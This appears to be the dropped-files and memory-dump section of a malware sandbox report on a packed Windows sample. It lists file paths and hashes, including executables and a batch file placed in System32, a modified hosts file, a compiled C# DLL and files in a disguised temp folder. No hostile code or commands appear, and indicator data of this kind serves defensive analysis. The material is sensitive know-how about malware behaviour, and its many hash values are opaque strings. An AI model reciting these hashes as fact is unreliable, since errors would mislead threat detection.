31b8bfb109e13b4487987c9e96ffbca438b466afe7087305e9ecafe2e928a68f

SHA512
38ba9f199f12a4dd8915996ed014569101331d8d76e8d2e8b60fffe6ff852bd5191c67009de7375fa1d8bd50f10e82fb006424ef820810c92e6177c5f31e2b69

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI15202\libcrypto-3.dll
Filesize
1.6MB

MD5
7f1b899d2015164ab951d04ebb91e9ac

SHA1
1223986c8a1cbb57ef1725175986e15018cc9eab

SHA256
41201d2f29cf3bc16bf32c8cecf3b89e82fec3e5572eb38a578ae0fb0c5a2986

SHA512
ca227b6f998cacca3eb6a8f18d63f8f18633ab4b8464fb8b47caa010687a64516181ad0701c794d6bfe3f153662ea94779b4f70a5a5a94bb3066d8a011b4310d

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI15202\libffi-8.dll
Filesize
29KB

MD5
08b000c3d990bc018fcb91a1e175e06e

SHA1
bd0ce09bb3414d11c91316113c2becfff0862d0d

SHA256
135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece

SHA512
8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI15202\libssl-3.dll
Filesize
222KB

MD5
264be59ff04e5dcd1d020f16aab3c8cb

SHA1
2d7e186c688b34fdb4c85a3fce0beff39b15d50e

SHA256
358b59da9580e7102adfc1be9400acea18bc49474db26f2f8bacb4b8839ce49d

SHA512
9abb96549724affb2e69e5cb2c834ecea3f882f2f7392f2f8811b8b0db57c5340ab21be60f1798c7ab05f93692eb0aeab077caf7e9b7bb278ad374ff3c52d248

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI15202\python311.dll
Filesize
1.6MB

MD5
b167b98fc5c89d65cb1fa8df31c5de13

SHA1
3a6597007f572ea09ed233d813462e80e14c5444

SHA256
28eda3ba32f5247c1a7bd2777ead982c24175765c4e2c1c28a0ef708079f2c76

SHA512
40a1f5cd2af7e7c28d4c8e327310ea1982478a9f6d300950c7372634df0d9ad840f3c64fe35cc01db4c798bd153b210c0a8472ae0898bebf8cf9c25dd3638de8

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI15202\rar.exe
Filesize
615KB

MD5
9c223575ae5b9544bc3d69ac6364f75e

SHA1
8a1cb5ee02c742e937febc57609ac312247ba386

SHA256
90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

SHA512
57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI15202\rarreg.key
Filesize
456B

MD5
4531984cad7dacf24c086830068c4abe

SHA1
fa7c8c46677af01a83cf652ef30ba39b2aae14c3

SHA256
58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

SHA512
00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI15202\select.pyd
Filesize
25KB

MD5
d76b7f6fd31844ed2e10278325725682

SHA1
6284b72273be14d544bb570ddf180c764cde2c06

SHA256
e46d0c71903db7d735cc040975bfc480dfea34b31b3e57b7dafa4c1f4058e969

SHA512
943ca5600f37cf094e08438e1f93b869f108abd556785e5d090051ed8cf003e85c1b380fc95f95bc871db59ffdd61099efa2e32d4354ca0cc70a789cf84abaa1

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI15202\sqlite3.dll
Filesize
630KB

MD5
73b763cedf2b9bdcb0691fb846894197

SHA1
bf2a9e88fba611c2e779ead1c7cfd10d7f4486b2

SHA256
e813695191510bf3f18073491dc0ea1b760bc22c334eefe0e97312810de5d8d5

SHA512
617cb2b6027a3aba009bb9946347c4e282dd50d38ca4764e819631feb3a7fd739fd458e67866f9f54b33b07645ca55229030860a4faab5f677866cfa4a1f7ee2

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI15202\unicodedata.pyd
Filesize
295KB

MD5
6873de332fbf126ddb53b4a2e33e35a5

SHA1
93748c90cd93fda83fcd5bb8187eeaf6b67a2d08

SHA256
f5631d92e9da39a6a1e50899d716eac323829d423a7f7fa21bd5061232564370

SHA512
0e03ba8c050aeadf88c390e5ea5e8e278f873885c970b67d5bc0675d782233a2925e753dae151c7af9976f64c42eba04a4dcec86204e983f6f6f2788a928401c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iopkqk34.5wj.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\xlu3hiom\xlu3hiom.dll
Filesize
4KB

MD5
f584444ade454bdc998db6ad17d05e98

SHA1
d81fbe94ec827ee06d3bad19bafd2d8a3c0c90d1

SHA256
b844ff6c399979afec4b12ba71e0cb26dc8f53cd5ba997c00211428b9d639b7c

SHA512
ed16894e7fa5aa3158fb1a1c568d0ba4e94178ab368e4f2bbdbc1272140f21ff635e225526b9af045c8fb31f0576ea6924d37ff3c803186a487e1fbeed7c4ebd

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏   \Common Files\Desktop\CloseMeasure.pdf
Filesize
730KB

MD5
8db1e44238366933124f0cfa8a8e2991

SHA1
8ab2efc174ed7cdd6d35e93a0c53b23213299885

SHA256
d4dd7d594b6b01d7292a9c0dc4e07134a06b9baf310da55d3d8ba5769eb021ca

SHA512
2d75066b81326bf37e0f1d1fa6960351b9c34df2d378c00fb5cc1e7ced6dfc9edb9c3fe88c32e70e9d0010d85df1173aba4558982cbbdb2964409bfb8336ccb6

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏   \Common Files\Desktop\PingBackup.ttf
Filesize
301KB

MD5
1ab83d205655fc50513e18e85c2465cf

SHA1
06a08abc3a76a0a357af6034bd4df9c427836846

SHA256
1aa66363110e6144d58b9dc9372962c36e12542a61c5d82451e83c5088e3a8ed

SHA512
7ea09844798a6d989046c10ef6281cb4d431c5b0df668943a9e5400dafb12a308ce9847e356ae947c1bad81f89e114536b4600c02d74d75bee9b3439d596994f

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏   \Common Files\Documents\Are.docx
Filesize
11KB

MD5
a33e5b189842c5867f46566bdbf7a095

SHA1
e1c06359f6a76da90d19e8fd95e79c832edb3196

SHA256
5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

SHA512
f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

Download Submit
C:\Windows\System32\Built.exe
Filesize
7.4MB

MD5
7e312ac869e50b5847ff56eab59567d2

SHA1
3bcefc87de994260931ac94760e6b478696048be

SHA256
5a77b59bd2f5486fbb176fe7c7e8cc478419247c142e5ea7db8d14966bccb5af

SHA512
fb9a3658a636644d2df12c2ca1d6f399c84e571491a0dab888d798e5b9ccfb648e077cb90dfbffd5ad24f85441fafc1bb887b160263a2d53577c5db1adf892ee

Download Submit
C:\Windows\System32\drivers\etc\hosts
Filesize
2KB

MD5
d5371674f26f144bf68f800bb3b80d5a

SHA1
a5ae4e82a6ba9118e28b767d3522c6a3fb0ee582

SHA256
f2ca2cbdec30ce8730436e1bed3c166e005e4742c6a8c931e50e873cdc8ebb03

SHA512
21e068860c0671e54bfd4862735a51d0dc790a737b3f9835f64dafcdb2c0d50bf49b8027d6c43c79ebabf2ac7dcd6be084c613e711fab92a54bb3cfefcb7fb3f

Download Submit
C:\Windows\System32\test.bat
Filesize
435B

MD5
40f36b839af3aad8887e3cfe758efab8

SHA1
2d60ce25bf47ce4c4969cd73bd204491a3e2d18e

SHA256
c9650c17cca714b78e175479a9d9bcf2b6d01629d00418fc2f2b9167563ecb1d

SHA512
13ee91dde3b5c6920fc94df15e1d37f66f009a3b5d770fc747d7000a8c4d5091dddaf642b3f1edf01e3ac7f63b652576525401a801c6e4f7621860070f667f8c

Download Submit
C:\Windows\System32\test.exe
Filesize
140KB

MD5
b2a4fa40f85cc8b5c66ff6bb6cc7b7ef

SHA1
57477ff6b2c5b45442a771e621db0688b15c72cf

SHA256
b8517dfc87a24a2364ec2f742af3d2c88ad216b0cd2acba632284fd10ce5bcdd

SHA512
323b2f2a03bcbc1788eb97af0f5d8824fb5c4caff7c5d5c1f00ee367965d4fe3fc62816a558ca5cb15baf2d6dba3200c72f757455488e7927e28ebe93e136a0e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\xlu3hiom\CSC4C39B419F49540ED8DAFE5D9E4CE72C1.TMP
Filesize
652B

MD5
09c24eb05f40dc989c8a53c2bfe9a8a8

SHA1
cc4355f72a07b8cd1f6258972dafc801639648cf

SHA256
dc080cc402b7370ffe89824b0e33028569a0d7d6aba22bf1473659d0bec4c6cf

SHA512
146ad3821496e147e60be4b44edc811e82f2526e0d3f394bdd191f4b01a5db8d7ddad84b64ff0ae10668687ab5b07e5eea5287bad92d9bc538eece2a578fd11f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\xlu3hiom\xlu3hiom.0.cs
Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\xlu3hiom\xlu3hiom.cmdline
Filesize
607B

MD5
f6340d7d68e3ca42a978a433df64e6a2

SHA1
70cf1e6dfe917f69775a2c1a66d27ff234208439

SHA256
422ddeb80a96b9017ff6f201a41812adbf608f8dcc86e9835b3c824e3adff13e

SHA512
4fd203fb19753afc4f7abc1305a68ab5f71d7d54bfe3271e459ccb9542facbe824b9694b3ff99d3cbbcb97f6bc0c4d33d1b8a97c68c9d75059c9cba6aa54083c

Download Submit
\Users\Admin\AppData\Local\Temp\_MEI15202\_ctypes.pyd
Filesize
58KB

MD5
ee77573f4335614fc1dc05e8753d06d9

SHA1
9c78e7ce0b93af940749295ec6221f85c04d6b76

SHA256
20bc81c1b70f741375751ae7c4a177a409b141bfcd32b4267975c67fc1b11e87

SHA512
c87c9c68cb428c2305076545702e602c8119bb1c4b003fc077fc99a7b0f6ffd12cafdd7ff56dac5d150785adc920d92ea527067c8fec3c4a16737f11d23d4875

Download Submit
memory/204-339-0x000002A1007D0000-0x000002A1007E0000-memory.dmp

Filesize
64KB

Download
memory/204-402-0x00007FF91EBF0000-0x00007FF91F5DC000-memory.dmp

Filesize
9.9MB

Download
memory/204-415-0x000002A1007D0000-0x000002A1007E0000-memory.dmp

Filesize
64KB

Download
memory/204-256-0x000002A1007D0000-0x000002A1007E0000-memory.dmp

Filesize
64KB

Download
memory/204-252-0x000002A1007D0000-0x000002A1007E0000-memory.dmp

Filesize
64KB

Download
memory/204-248-0x00007FF91EBF0000-0x00007FF91F5DC000-memory.dmp

Filesize
9.9MB

Download
memory/1888-83-0x00007FF91EBF0000-0x00007FF91F5DC000-memory.dmp

Filesize
9.9MB

Download
memory/1888-2-0x000000001C690000-0x000000001C6A0000-memory.dmp

Filesize
64KB

Download
memory/1888-105-0x000000001C690000-0x000000001C6A0000-memory.dmp

Filesize
64KB

Download
memory/1888-0-0x0000000000F20000-0x0000000001686000-memory.dmp

Filesize
7.4MB

Download
memory/1888-1-0x00007FF91EBF0000-0x00007FF91F5DC000-memory.dmp

Filesize
9.9MB

Download
memory/3396-197-0x00007FF92D830000-0x00007FF92D849000-memory.dmp

Filesize
100KB

Download
memory/3396-330-0x0000024861870000-0x0000024861D99000-memory.dmp

Filesize
5.2MB

Download
memory/3396-190-0x00007FF92D850000-0x00007FF92D873000-memory.dmp

Filesize
140KB

Download
memory/3396-199-0x00007FF930A70000-0x00007FF930A7D000-memory.dmp

Filesize
52KB

Download
memory/3396-200-0x00007FF92D200000-0x00007FF92D233000-memory.dmp

Filesize
204KB

Download
memory/3396-203-0x00007FF918360000-0x00007FF91842D000-memory.dmp

Filesize
820KB

Download
memory/3396-205-0x00007FF917480000-0x00007FF9179A9000-memory.dmp

Filesize
5.2MB

Download
memory/3396-220-0x00007FF918160000-0x00007FF91827C000-memory.dmp

Filesize
1.1MB

Download
memory/3396-222-0x00007FF92D150000-0x00007FF92D164000-memory.dmp

Filesize
80KB

Download
memory/3396-219-0x0000024861870000-0x0000024861D99000-memory.dmp

Filesize
5.2MB

Download
memory/3396-225-0x00007FF92FBE0000-0x00007FF92FBED000-memory.dmp

Filesize
52KB

Download
memory/3396-979-0x00007FF91B150000-0x00007FF91B740000-memory.dmp

Filesize
5.9MB

Download
memory/3396-656-0x00007FF917480000-0x00007FF9179A9000-memory.dmp

Filesize
5.2MB

Download
memory/3396-655-0x00007FF918360000-0x00007FF91842D000-memory.dmp

Filesize
820KB

Download
memory/3396-239-0x00007FF91B150000-0x00007FF91B740000-memory.dmp

Filesize
5.9MB

Download
memory/3396-242-0x00007FF9305F0000-0x00007FF930614000-memory.dmp

Filesize
144KB

Download
memory/3396-185-0x00007FF92D970000-0x00007FF92D989000-memory.dmp

Filesize
100KB

Download
memory/3396-654-0x00007FF92D200000-0x00007FF92D233000-memory.dmp

Filesize
204KB

Download
memory/3396-183-0x00007FF92FBF0000-0x00007FF92FC1D000-memory.dmp

Filesize
180KB

Download
memory/3396-646-0x00007FF9305F0000-0x00007FF930614000-memory.dmp

Filesize
144KB

Download
memory/3396-651-0x00007FF918430000-0x00007FF9185A6000-memory.dmp

Filesize
1.5MB

Download
memory/3396-644-0x00007FF91B150000-0x00007FF91B740000-memory.dmp

Filesize
5.9MB

Download
memory/3396-151-0x00007FF91B150000-0x00007FF91B740000-memory.dmp

Filesize
5.9MB

Download
memory/3396-159-0x00007FF9305F0000-0x00007FF930614000-memory.dmp

Filesize
144KB

Download
memory/3396-276-0x00007FF918430000-0x00007FF9185A6000-memory.dmp

Filesize
1.5MB

Download
memory/3396-177-0x00007FF933800000-0x00007FF93380F000-memory.dmp

Filesize
60KB

Download
memory/3396-189-0x00007FF918430000-0x00007FF9185A6000-memory.dmp

Filesize
1.5MB

Download
memory/3396-314-0x00007FF92D850000-0x00007FF92D873000-memory.dmp

Filesize
140KB

Download
memory/3396-327-0x00007FF92D830000-0x00007FF92D849000-memory.dmp

Filesize
100KB

Download
memory/3548-143-0x00007FF91EBF0000-0x00007FF91F5DC000-memory.dmp

Filesize
9.9MB

Download
memory/3548-232-0x00007FF91EBF0000-0x00007FF91F5DC000-memory.dmp

Filesize
9.9MB

Download
memory/3548-158-0x0000017C2A340000-0x0000017C2A350000-memory.dmp

Filesize
64KB

Download
memory/3548-396-0x0000017C2A340000-0x0000017C2A350000-memory.dmp

Filesize
64KB

Download
memory/3548-227-0x0000017C2A340000-0x0000017C2A350000-memory.dmp

Filesize
64KB

Download
memory/3548-286-0x0000017C2A340000-0x0000017C2A350000-memory.dmp

Filesize
64KB

Download
memory/3548-157-0x0000017C2A340000-0x0000017C2A350000-memory.dmp

Filesize
64KB

Download
memory/4268-64-0x000001C0393D0000-0x000001C0393E0000-memory.dmp

Filesize
64KB

Download
memory/4268-110-0x00007FF91EBF0000-0x00007FF91F5DC000-memory.dmp

Filesize
9.9MB

Download
memory/4268-107-0x000001C0393D0000-0x000001C0393E0000-memory.dmp

Filesize
64KB

Download
memory/4268-85-0x000001C0393D0000-0x000001C0393E0000-memory.dmp

Filesize
64KB

Download
memory/4268-66-0x000001C0393D0000-0x000001C0393E0000-memory.dmp

Filesize
64KB

Download
memory/4268-63-0x00007FF91EBF0000-0x00007FF91F5DC000-memory.dmp

Filesize
9.9MB

Download
memory/4464-262-0x00007FF91EBF0000-0x00007FF91F5DC000-memory.dmp

Filesize
9.9MB

Download
memory/4464-267-0x000001BB6E410000-0x000001BB6E420000-memory.dmp

Filesize
64KB

Download
memory/4464-335-0x000001BB6E410000-0x000001BB6E420000-memory.dmp

Filesize
64KB

Download
memory/4464-266-0x000001BB6E410000-0x000001BB6E420000-memory.dmp

Filesize
64KB

Download
memory/4468-250-0x000001A143DD0000-0x000001A143DE0000-memory.dmp

Filesize
64KB

Download
memory/4468-236-0x00007FF91EBF0000-0x00007FF91F5DC000-memory.dmp

Filesize
9.9MB

Download
memory/4468-319-0x000001A143DD0000-0x000001A143DE0000-memory.dmp

Filesize
64KB

Download
memory/4468-398-0x00007FF91EBF0000-0x00007FF91F5DC000-memory.dmp

Filesize
9.9MB

Download
memory/4468-403-0x000001A143DD0000-0x000001A143DE0000-memory.dmp

Filesize
64KB

Download
memory/4468-253-0x000001A143DD0000-0x000001A143DE0000-memory.dmp

Filesize
64KB

Download
memory/4632-53-0x00007FF91EBF0000-0x00007FF91F5DC000-memory.dmp

Filesize
9.9MB

Download
memory/4632-26-0x0000016A3B4D0000-0x0000016A3B4E0000-memory.dmp

Filesize
64KB

Download
memory/4632-49-0x0000016A3B4D0000-0x0000016A3B4E0000-memory.dmp

Filesize
64KB

Download
memory/4632-10-0x0000016A23010000-0x0000016A23032000-memory.dmp

Filesize
136KB

Download
memory/4632-9-0x0000016A3B4D0000-0x0000016A3B4E0000-memory.dmp

Filesize
64KB

Download
memory/4632-8-0x0000016A3B4D0000-0x0000016A3B4E0000-memory.dmp

Filesize
64KB

Download
memory/4632-4-0x00007FF91EBF0000-0x00007FF91F5DC000-memory.dmp

Filesize
9.9MB

Download
memory/4632-13-0x0000016A3B6D0000-0x0000016A3B746000-memory.dmp

Filesize
472KB

Download